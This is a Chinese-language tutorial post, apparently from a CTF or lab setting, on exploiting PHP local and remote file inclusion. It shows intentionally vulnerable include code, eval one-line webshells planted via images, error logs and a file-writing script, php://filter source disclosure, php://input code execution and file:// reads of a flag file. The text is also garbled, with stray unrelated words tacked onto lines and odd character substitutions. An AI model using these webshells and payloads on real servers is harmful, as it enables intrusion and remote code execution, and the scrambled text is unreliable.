文件包含漏洞

//include包含
<?php
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8"/>';
include "$_GET[page]";
?>


//放在網站目錄下,直接能夠訪問網站下文件(文件名2.php)
//訪問時:http://127.0.0.1/2.php?page=1.txt  (1.txt是放在網站的目錄)至關於<?php  include '1.txt';?> include包括文件
 

 

<?php
$a = "$_GET[page]";//得到GET中的值  雙引號解析變量 單引號原子符輸出 $a = $_GET['page'];
echo $a;
?>
//http://127.0.0.1/4.php?page=55將55傳入文件中並賦值給變量a

 

 

 

 

本地文件包含(Loacl File Inclusion,LFI):php

經過瀏覽器引進(包含)web服務器上的文件,這種漏洞是由於瀏覽器包含文件時沒有進行嚴格 的過濾容許遍歷目錄的字符注入瀏覽器並執行。html

 

遠程文件包含(Remote File Inclusion,RFI):web

該漏洞容許攻擊者包含一個遠程的文件,通常是在遠程服務器上預先設置好的腳本。 此漏洞是由於瀏覽器對用戶的輸入沒有進行檢查,致使不一樣程度的信息泄露、拒絕服務攻擊 甚至在目標服務器上執行代碼。shell

利用文件包含漏洞必須包括main.php中代碼
<?php
$a = "$_GET[page]";
include $a;
?>

1.圖片一句話木馬
先用命令或工具把一句話木馬加載到圖片中瀏覽器

上傳圖片服務器

利用菜刀連工具

http://10.1.2.5:17857/cs/main.php?page=/uploads/14563.jpg網站

2.日誌一句話木馬ui

利用錯誤日誌編碼

將一句話木馬寫入錯誤日誌中

http://127.0.0.1/<?php @eval($_POST["value"])>
利用bp抓包

在bp中自動編碼因此要改爲

在日誌文件中顯示

利用菜刀鏈接

http://10.1.2.5:17857/cs/main.php?page=錯誤日誌路徑        (在鏈接錯誤日誌的時候可能鏈接不上,多是錯誤日誌文件過多,須要清理)

3.利用遠程訪問

 

//在test.php中
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_GET[1478963]); ?>');//利用//文件包含漏洞運行test.php文件會在文件目錄建立shell.php
?>

 

http://10.1.2.5:17857/cs/main.php?page=test.php(test.php路徑所在地)

4.PHP封裝協議讀取文件

http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php  獲取源代碼

返回到網頁中:PD9waHAKZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmOCIgLz4nOwppbmNsdWRlICIkX0dFVFtwYWdlXSI7Cj8+

再利用Base64解碼

<?php
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8" />';
include "$_GET[page]";
?>

5.PHP封裝協議執行命令

 http://10.1.2.5:17857/cs/main.php?page=php://input

進行執行PHP代碼

6.file協議  須要服務器的絕對路徑

 

http://10.1.2.5:17857/cs/main.php?page=file://c:/flag.txt

相關文章
相關標籤/搜索